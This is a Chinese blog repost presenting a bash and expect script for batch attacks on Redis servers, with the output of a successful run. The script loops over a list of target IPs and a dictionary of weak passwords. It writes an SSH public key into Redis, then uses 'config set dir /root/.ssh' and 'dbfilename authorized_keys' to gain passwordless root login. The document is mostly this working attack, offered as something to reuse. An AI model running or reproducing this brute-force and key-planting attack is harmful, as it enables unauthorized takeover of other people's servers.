我是靠谱客的博主 羞涩萝莉,最近开发中收集的这篇文章主要介绍shell脚本实现批量自动redis反弹shell攻击一、shell实现redis反弹shell,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

一、shell实现redis反弹shell

[root@xingcheng attack]# cat shell_rebound.sh
#!/bin/bash
##create by xingcheng
##20180403
##function 批量redis反弹shell获取系统权限,主要针对没有安全策略的reids服务器和弱口令redis服务器,他们往往使用root账户运行
#ip_list=(39.106.107.229 123.206.31.161 127.0.0.1)
#password_dict=(123456 abcdef 234rdffs)
ip_list=(127.0.0.1 192.168.0.1) #ip列表数组,可以批量存入ip
password_dict=(123456 abcdefg 1qaz2wsx) #弱口令数组
password(){
for passwd in ${password_dict[@]}
do
expect shell_rebound.exp "$ip" "$passwd"
echo $(cat /root/.ssh/authorized_keys)
done
}
ip(){
for ip in ${ip_list[@]}
do
password
done
}
ip
[root@xingcheng attack]# cat shell_rebound.exp 
#!/usr/bin/expect
set sentence1 [lindex $argv 0]
set sentence2 [lindex $argv 1]
spawn /usr/local/redis/bin/redis-cli -h $sentence1 -p 6379 -a $sentence2
expect
"127.0.0.1:6379>"
if { $sentence1==$sentence1 } {
send "set -.- "nnnssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAltEC9ktb+401+epwi/QxYKoTLYiHaJ9RREnHzPfMzs107ba9otiT6iiiFDJtXnvAWkp6vMDJ59ncJUNCFmPjReK521DP5cmVg5V7un71GhFEybZ8oGzEFWeYPhXp+vBK0VW1btPl7GaLs5DU1bKDpmPPFURWFIw77pd8CFeYXjLBssmQgvm3szk2VxD2gw2DAQa6+cLGtjRMmWgD2QRG7gkMoRotkfoxkqwESuBedspm0unB7eQHfXvMznntnwTzwDW1E70BMAvk4bnoJnBGnZep2SBxNUn9H6a7mcGyD6FDQ6TQClc9KeXNiq/mqTa0X6jCLzF0GsYl0mQHcAF7DQ== rsa-key-20180320nnn" r"
send "config set dir /root/.ssh r"
send "config set dbfilename authorized_keys r"
send "save r"
}
expect eof

成功的效果,免密码登陆服务器成功。

[root@xingcheng attack]# cat /root/.ssh/authorized_keys
REDIS0008
redis-ver4.0.6
redis-bits����e.used-mem¸þ
��preamble~��-A
ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAltEC9ktb+401+epwi/QxYKoTLYiHaJ9RREnHzPfMzs107ba9otiT6iiiFDJtXnvAWkp6vMDJ59ncJUNCFmPjReK521DP5cmVg5V7un71GhFEybZ8oGzEFWeYPhXp+vBK0VW1btPl7GaLs5DU1bKDpmPPFURWFIw77pd8CFeYXjLBssmQgvm3szk2VxD2gw2DAQa6+cLGtjRMmWgD2QRG7gkMoRotkfoxkqwESuBedspm0unB7eQHfXvMznntnwTzwDW1E70BMAvk4bnoJnBGnZep2SBxNUn9H6a7mcGyD6FDQ6TQClc9KeXNiq/mqTa0X6jCLzF0GsYl0mQHcAF7DQ== rsa-key-20180320

最后

以上就是羞涩萝莉为你收集整理的shell脚本实现批量自动redis反弹shell攻击一、shell实现redis反弹shell的全部内容,希望文章能够帮你解决shell脚本实现批量自动redis反弹shell攻击一、shell实现redis反弹shell所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(68)

评论列表共有 0 条评论

立即
投稿
返回
顶部